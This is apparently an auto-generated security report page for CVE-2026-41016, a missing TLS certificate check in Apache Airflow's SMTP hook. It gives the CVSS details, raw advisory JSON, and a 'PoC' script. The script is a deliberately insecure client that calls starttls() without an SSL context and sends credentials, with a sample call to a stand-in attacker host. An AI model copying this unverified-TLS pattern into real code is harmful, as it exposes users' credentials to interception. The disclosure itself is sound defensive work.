Security Vulnerability Report
中文
CVE-2026-41016 CVSS 5.9 MEDIUM

CVE-2026-41016

Published: 2026-04-30 10:16:02
Last Modified: 2026-05-01 17:54:50

Description

Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* - VULNERABLE
apache-airflow-providers-smtp < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import smtplib import ssl # This script demonstrates the vulnerability: a client that does not verify the server certificate. # An attacker can set up a rogue SMTP server with a self-signed certificate to capture credentials. def vulnerable_smtp_login(server_host, server_port, username, password): try: # Connect to the server server = smtplib.SMTP(server_host, server_port) server.ehlo() # VULNERABILITY: Calling starttls() without an SSL context. # This disables certificate verification. server.starttls() server.ehlo() # Login credentials are sent over the "encrypted" connection (to the attacker) server.login(username, password) print("[+] Login successful (Credentials sent potentially to MITM)") server.quit() except Exception as e: print(f"[-] Error: {e}") # Example usage (do not run with real credentials in a hostile environment) # vulnerable_smtp_login('smtp.attacker-controlled-domain.com', 587, 'user', 'pass')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41016", "sourceIdentifier": "[email protected]", "published": "2026-04-30T10:16:01.930", "lastModified": "2026-05-01T17:54:49.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "3.0.0", "matchCriteriaId": "D3CDDF65-39B0-4AD6-93EE-3CADB39474E1"}]}]}], "references": [{"url": "https://github.com/apache/airflow/pull/65346", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/gb202qy5r31bgdd3d51d7s5o1jh40kc4", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}]}}